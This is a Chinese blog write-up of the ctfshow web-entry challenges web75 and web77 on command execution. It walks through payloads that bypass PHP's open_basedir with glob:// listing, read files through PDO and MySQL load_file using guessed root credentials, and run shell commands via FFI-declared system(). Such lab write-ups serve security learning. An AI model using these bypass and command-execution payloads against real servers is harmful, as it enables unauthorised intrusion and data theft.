ctfshow web入门 命令执行web75-77

最近几天在刷ctfshow的web入门命令执行部分的练习题,学到了不少新姿势,简单记录一下自己对于最后几道题解题思路的理解

web75

由于存在open_basedir配置的限制,无法使用scandir函数列出目录信息,可以使用glob协议绕过open_basedir的限制,在根目录发现flag36.txt文件。

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
	echo($f->__toString().' ');
}exit();

在这里插入图片描述

本题还通过include_path限制了文件包含的路径,无法直接使用include包含得到flag信息,于是尝试使用uaf的方式绕过命令执行的限制,但是由于本题过滤了strlen,我也尝试了使用几种方法重写strlen函数,但是都没有执行成功,后续如果重写成功后会及时更新,因此参照提示信息使用PDO连接MySQL数据库的方式读取flag信息,payload如下。

$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

视频讲解中提到能够获取数据库名为ctftraining,但是我尝试使用蚁剑连接过滤不严格的题目环境,在登录mysql时始终出现段错误的情况,但是即便不知道数据库名为ctftraining,也可以通过连接默认数据库information_schema达到命令执行的目录,只需要猜解出mysql的用户名和密码即可。

通过连接默认数据库information_schema查询数据库名,发现确实存在名为ctftraining的数据库。

$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

在这里插入图片描述
使用load_file函数读取flag文件即可获取flag信息

web77

这道题仍然首先利用glob协议绕过open_basedir的限制,列出根目录下的所有文件,发现有两个可疑的文件,分别是flag36x.txtreadflag

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
	echo($f->__toString().' ');
}exit();

在这里插入图片描述
尝试沿用web75和76的思路,使用PDO连接MySQL数据库,然后使用load_file函数绕过文件读取的限制,读取flag,但是报 could not find driver的错误,表明此题无法使用PDO连接数据库。
查看writeup,此题利用的是PHP 7.4+的FFI特性,即外部函数接口特性,相关文档请查看PHP手册,这里我主要是对payload信息进行简单分析。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

PHP手册中对FFI:cdef原型的描述为public static FFI::cdef(string $code = "", ?string $lib = null),其中$code为一个字符串,包含常规C语言中的一系列声明,$lib为要加载和链接的共享库文件名称,如果省略lib,则平台将会尝试在全局范围内查找代码中声明的符号,其他系统将无法解析这些符号。
起初我认为payload中第一行代码的含义是,在不提供$lib信息的情况下,则会默认调用PHP中的system函数,但是实际上int system(const char *command);即为C语言中system函数的定义,用于执行系统命令,也即在Linux平台下将/readflag > 1.txt使用shell进行解析并执行,因此猜测readflag可能是一个可执行文件。

  • 使用FFI调用C语言中的system函数列出根目录
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls / > 1.txt';
$ffi->system($a);exit();

在这里插入图片描述

  • 尝试直接读取/flag36x.txt,访问1.txt后没有任何内容
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /flag36x.txt > 1.txt';
$ffi->system($a);exit();
  • 尝试读取/readflag文件,成功读取,为ELF可执行文件
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /readflag > 1.txt';
$ffi->system($a);exit();

在这里插入图片描述

  • 猜测/flag36x.txt文件无法读取的原因为权限不足,列出根目录的文件权限信息,发现该文件对于其他用户并没有读的权限,而我们执行命令的用户为www-data,因此无法直接使用cat读取文件内容。
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls -lst / > 1.txt';
$ffi->system($a);exit();

在这里插入图片描述

  • 使用IDA查看/readflag可执行文件的内容,证实了之间的猜测
    在这里插入图片描述
    通过执行readflag文件即可获取flag信息
  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值